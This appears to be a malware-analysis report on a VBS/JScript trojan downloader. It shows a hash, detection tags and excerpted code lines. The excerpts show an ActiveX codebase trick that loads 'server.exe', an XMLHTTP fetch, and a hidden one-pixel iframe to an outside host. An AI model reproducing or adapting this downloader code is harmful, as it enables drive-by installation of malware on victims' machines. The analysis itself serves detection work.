Trojan-Downloader.VBS.Inpar.a
Creates legacy ActiveX HTTP objectEmbedded HTTP or WebSocket URL
SHA-256dec4c2c7bb56071153cf1dac239034720249e604fbd940d6df120ae282fb1f30
MaleculeH₂(CmOs)
Evidence
11:37… 000-10000-000000000001";
12 ObjBASE='mhtml:file://C:\\ARCHIVE.MHT!'+InetPath;
13 sObject ='<object classid="'+ObjCLSID+'" codebase="'+ObjBASE+'" '+tagstyle+'></objec …
50:39… xOf('/');
51 InetPath=InetPath.slice(0,j)+'/server.exe';
52 break;
53 case "ms-its:" :
54 i=Ine …
⋯4 lines
61
62 {
63 var oXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
64 oXMLHTTP.Open("GET",InetPath,0);
65 oXMLHTTP.Send();
⋯4 lines
83:26… InetPath);
84 }
85
86</script language="JScript">
87<iframe src="http://www.zief.pl/iraq.jpg" width=1 height=1></iframe></body>
88</html><br>